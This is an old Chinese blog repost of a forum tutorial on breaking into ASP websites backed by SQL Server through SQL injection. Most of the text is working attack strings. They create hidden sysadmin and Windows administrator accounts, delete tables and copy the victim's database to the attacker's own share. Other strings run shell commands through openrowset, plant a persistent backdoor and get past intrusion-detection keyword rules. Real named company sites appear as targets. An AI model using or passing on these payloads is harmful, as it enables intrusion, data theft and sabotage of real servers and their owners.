SQL数据库的一些攻击

范堡 发布于 2009/05/05 15:00
阅读 330
收藏 0

SQL数据库的一些攻击


  对于国内外的很多新闻,BBS和电子商务网站都采用ASP+SQL设计,而写 ASP的程序员很多(有很多刚刚毕业的),所以,ASP+SQL的攻击成功率 也比较高。这类攻击方法与NT的版本和SQL的版本没有多大的关系,也没有相应的补丁,因为漏洞是程序员自己造成的,而且大多数讲解ASP编 程的书上,源代码例子就有这个漏洞存在,其实只是一些合法的ASP对SQL的请求,就留下后患无穷! 

这种攻击方法最早源于or1=1的漏洞(我们暂且称其为漏洞),这个漏洞的原理我想大家因该都知道了,那么随之而来的便是;execsp_addlogin hax(在数据库内添加一个hax用户),但是这个方法的限制很大,首先ASP使用的SQL Server账号是个管理员,其次请求的提交变量在整个SQL语句的最后,因为有一些程序员采用SELECT * FROM news WHERE id=... AND topic=... AND ..... 
这种方法请求数据库,那么如果还用以上的例子就会 
news.asp?id=2;exec sp_addlogin hax 
变成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=... AND ... 
整个SQL语句在执行sp_addlogin的存储过程后有AND与判断存在,语法错误,你的sp_addlogin自然也不能正常运行了,因此试试看下面这个方法 
news.asp?id=2;exec sp_addlogin hax;-- 
后面的--符号把sp_addlogin后的判断语句变成了注释,这样就不会有语法错误了,sp_addlogin正常执行! 那么我们连一起来用吧 
news.asp?id=2;exec master.dbo.sp_addlogin hax;-- 
news.asp?id=2;exec master.dbo.sp_password null,hax,hax;-- 
news.asp?id=2;exec master.dbo.sp_addsrvrolemember sysadmin hax;-- 
news.asp?id=2;exec master.dbo.xp_cmdshell net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes 

/active:yes /add;-- 
news.asp?id=2;exec master.dbo.xp_cmdshell net localgroup administrators hax /add;-- 
这样,你在他的数据库和系统内都留下了hax管理员账号了 
当然,前提条件是ASP用管理员账号,所以虚拟空间大家就别试了,不会存在这个漏洞的。 
以后我们会讨论,如果对方的ASP不是用SQL管理员账号,我们如何入侵,当然也会涉及到1433端口的入侵 当然大家可以试试看在id=2后面加上一个符号,主要看对方的ASP怎么写了 


再说说当ASP程序使用的SQL账号不是管理员的时候我们该如何做。 
你如天融信的主页,有新闻内容,如下: 
http://www.talentit.com.cn/news/news-2.asp?newid=117 
大家可以试试看http://www.talentit.com.cn/news/news-2.asp?newid=117;select 123;-- 
呵呵,报语法错误,select 123错误,显而易见,天融新的ASP在newid变量后面用号结束 
那么试试看http://www.talentit.com.cn/news/news-2.asp?newid=117;delete news;-- 
哈哈,我想只要表名猜对了,新闻库就被删了 

通常ASP用的SQL账号就算不是管理员也会是某个数据库的owner,至少对于这个库有很高的管理权限 
但是我们不知道库名该怎么?看看db_name()函数吧 
打开你的query analyzer,看看print db_name() ,呵呵,当前的数据库名就出来了 
以次类推,如下: declare&nbsp@a sysname;set&nbsp@a=db_name();backup database&nbsp@a to disk=你的IP你的共享目录bak.dat ,name=test;-- 
呵呵,他的当前数据库就备份到你的硬盘上了,接下来要做的大家心里都明白了吧 
同理这个方法可以找到对方的SQL的IP 
先装一个防火墙,打开ICMP和139TCP和445TCP的警告提示 
然后试试看news.asp?id=2;exec master.dbo.xp_cmdshell ping 你的IP 
如果防火墙提示有人ping你,那么因该可以肯定对方的ASP用的是SQL的管理员权限,同时也确定了对方的SQL Server的准确位置,因为很多大 一点的网站考虑性能,会吧web服务和数据库分开,当对方大上了补丁看不到源代码时,我想只有这个方法能很快的定位对方的SQL Server的位 置了 
那么,如果对方ASP没有SQL管理员权限,我们就不能调用xp_cmdshell了,该怎么办? 
别着急,试试看这个news.asp?id=2;declare&nbsp@a;set&nbsp@a=db_name();backup database&nbsp@a to disk=你的IP你的共享目录bak.dat,name=test;-- 
呵呵,你的防火墙该发出警告了,有人连接你的445或139(win9端口了,这样,对方的SQL的ip一样也可以暴露 
那么如果对方连某个数据库的owner也不是的话,我们该怎么办?下次我会告诉大家一个更好的办法。 
其实backuo database到你的硬盘还是有点夸张了,如果对方数据库很庞大,你又是拨号上网,呵呵,劝你别试了,很难成功传输的 
下次我们还会谈到如何骗过IDS执行ASP+SQL入侵 
目前有些好的IDS已经开始监视xp_cmdshell这些关键字了 
好吧,同志们下次见 


所有以上url希望大家通过vbscript提交,因为浏览器的地址栏会屏蔽一些特殊字符,这样你的命令就不能完整传输了 
window.location.herf=URL 

补充:这个问题以前载网上也提出来过,但是只是一些简单的xp_cmdshell调用限制很大,其实这里面还有很多值得深入的地方比如 

www.guosen.com.cn。国信证卷就有这个问题,而且他们采用ms的三层结构作的用以前说的xp_cmdshell做法就不行了,字符串会被过滤,但是 

我尝试了,用sql的异类请求仍然可以在对方的机器上开启telnet服务和administrators组的账号!由于对方防火墙很严checkpoint数据报进出 

都只开放80端口因此,要想获得他的数据库结构比较困难了,但是还是有办法可以做到的:P 
顺便提醒大家注意一下关于sqloledb,db_name,openrowset,opendatasource这些系统函数当asp的sqlserver账号只是一个普通用户时,他们会很有用的! 


sql server新漏洞和一些突破口 


下面我要谈到一些sqlserver新的bug,虽然本人经过长时间的努力,当然也有点幸运的成分在内,才得以发现,不敢一个人独享,拿出来请大家 

鉴别,当然很有可能有些高手早已知道了,毕竟我接触sqlserver的时间不到1年:P 

1。关于openrowset和opendatasource 
可能这个技巧早有人已经会了,就是利用openrowset发送本地命令 
通常我们的用法是(包括MSDN的列子)如下 
select * from openrowset(sqloledb,myserver;sa;,select * from table) 
可见(即使从字面意义上看)openrowset只是作为一个快捷的远程数据库访问,它必须跟在select后面,也就是说需要返回一个recordset 
那么我们能不能利用它调用xp_cmdshell呢?答案是肯定的! 
select * from openrowset(sqloledb,server;sa;,set fmtonly off exec master.dbo.xp_cmdshell dir c:\) 
必须加上set fmtonly off用来屏蔽默认的只返回列信息的设置,这样xp_cmdshell返回的output集合就会提交给前面的select显示,如果采用 默认设置,会返回空集合导致select出错,命令也就无法执行了。 
那么如果我们要调用sp_addlogin呢,他不会像xp_cmdshell返回任何集合的,我们就不能再依靠fmtonly设置了,可以如下操作 
select * from openrowset(sqloledb,server;sa;,select OK! exec master.dbo.sp_addlogin Hectic) 
这样,命令至少会返回select OK!的集合,你的机器商会显示OK!,同时对方的数据库内也会增加一个Hectic的账号,也就是说,我们利用 select OK!的返回集合欺骗了本地的select请求,是命令能够正常执行,通理sp_addsrvrolemember和opendatasource也可以如此操作!至于这个方法真正的用处,大家慢慢想吧:P 

2。关于msdasql两次请求的问题
 
不知道大家有没有试过用msdasql连接远程数据库,当然这个api必须是sqlserver的管理员才可以调用,那么如下 
select * from openrowset(msdasql,driver={sql 

server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn,select * from table1 select * from table2) 
当table1和table2的字段数目不相同时,你会发现对方的sqlserver崩溃了,连本地连接都会失败,而系统资源占用一切正常,用pskill杀死 sqlserver进程后,如果不重启机器,sqlserver要么无法正常启动,要么时常出现非法操作,我也只是碰巧找到这个bug的,具体原因我还没有 摸透,而且很奇怪的是这个现象只出现在msdasql上,sqloledb就没有这个问题,看来问题不是在于请求集合数目和返回集合数目不匹配上,因 该还是msdasql本身的问题,具体原因,大家一起慢慢研究吧:P 

3。可怕的后门 
以前在网上看到有人说在sqlserver上留后门可以通过添加triger,jobs或改写sp_addlogin和sp_addsrvrolemember做到,这些方法当然可行,但是很容易会被发现。不知道大家有没有想过sqloledb的本地连接映射。呵呵,比如你在对方的sqlserver上用sqlserver的管理员账号执行如下的命令 
select * from openrowset(sqloledb,trusted_connection=yes;data source=Hectic,set fmtonly off exec master..xp_cmdshell dir c:\) 
这样在对方的sqlserver上建立了一个名为Hectic的本地连接映射,只要sqlserver不重启,这个映射会一直存在下去,至少我现在还不知道如 何发现别人放置的连接映射 ,好了,以上的命令运行过后,你会发现哪怕是sqlserver没有任何权限的guest用户,运行以上这条命令也一样能通过!而且权限是 localsystem!(默认安装)呵呵!这个方法可以用来在以被入侵过获得管理员权限的sqlserver上留下一个后门了。 

以上的方法在sqlserver2000+sqlserver2000SP1上通过! 

*另外还有一个猜测,不知道大家有没有注意过windows默认附带的两个dsn,一个是localserver一个是msqi,这两个在建立的时候是本地管理 员账号连接sqlserver的,如果对方的sqlserver是通过自定义的power user启动,那么sa的权限就和power user一样,很难有所大作为,但是 我们通过如下的命令 
select * from openrowset(msdasql,dsn=locaserver;trusted_connection=yes,set fmtonly off exec master..xp_cmdshell dir 

c:\)应该可以利用localserver的管理员账号连接本地sqlserver然后再以这个账号的权限执行本地命令了,这是后我想应该能突破sa那个 power user权限了。现在的问题是sqloledb无法调用dsn连接,而msdasql非管理员不让调用,所以我现在正在寻找guest调用msdasql的方法,如果有人知道这个bug如何突破,或有新的想法,我们可以一起讨论一下,这个发放如果能成功被guest利用,将会是一个很严重的安全漏洞。 

因为我们前面提到的任何sql语句都可以提交给对方的asp去帮我们执行:P 


利用t-sql骗过ids或攻击ids 


现在的ids已经变得越来越聪明了 
有的ids加入了xp_cmdshell sp_addlogin 的监视 
但是毕竟人工智能没有出现的今天,这种监视总是有种骗人的感觉 
先说说欺骗ids: 
ids既然监视xp_cmdshell关键字,那么我们可以这么做 
declare&nbsp@a sysname set&nbsp@a="xp_"+"cmdshell" exec&nbsp@a dir c:\ 
这个代码象性大家都能看明白,还有xp_cmdshell作为一个store procedure在master库内有一个id号,固定的,我们也可以这么做 
假设这个id=988456 
declare&nbsp@a sysname select&nbsp@a=name from sysobjects where id=988456 exec&nbsp@a dir c:\ 
当然也可以 
declare&nbsp@a sysname select&nbsp@a=name from sysobjects where id=988455+1 exec&nbsp@a dir c:\ 
这种做法排列组合,ids根本不可能做的到完全监视 
同理,sp_addlogin也可以这么做 
再说说攻击ids: 
因为ids数据量很大,日至通常备份到常规数据库,比如sql server 
如果用古老的recordset.addnew做法,会严重影响ids的性能,因为通过ado做t-sql请求,不但效率高,而且有一部分工作可以交给sql server 去做 通常程序会这么写 
insert table values (日至内容,...) 
那么我么想想看,如果用 temp) exec xp_cmdshell dir c:\ -- 提交后会变成 
insert table values (日至内容....temp) exec xp_cmdshell dir c:\ -- ) 
这样,xp_cmdshell就可以在ids的数据库运行了 :) 
当然ids是一个嗅叹器,他会抓所有的报,而浏览器提交的时候会把空格变成%20 
因此,%20会被提交到sql server,这样你的命令就无法执行了唯一的办法就是 
insert/**/table/**/values(日至内容....temp)/**/exec/**/xp_cmdshell/**/dir c:\/**/-- ) 
用/**/代替空格做间隔符,这样你的t-sql才能在ids的数据库内执行 
淡然也可以用其他语句,可以破坏,备份ids的数据库到你的共享目录 
呵呵 
其实这种方法的原理和攻击asp是一样的,只是把空格变成了/**/ 
本来asp是select语句,那么用就可以屏蔽 
现在ids用insert语句,那么用)屏蔽 

好了,其他很多新的入侵语句大家可以自己慢慢想,最好的测试工具就是 query analyzer了。 






原文链接:http://bbs.chinaunix.net/viewthread.php?tid=16056

转载请注明作者名及原文出处



加载中
返回顶部
顶部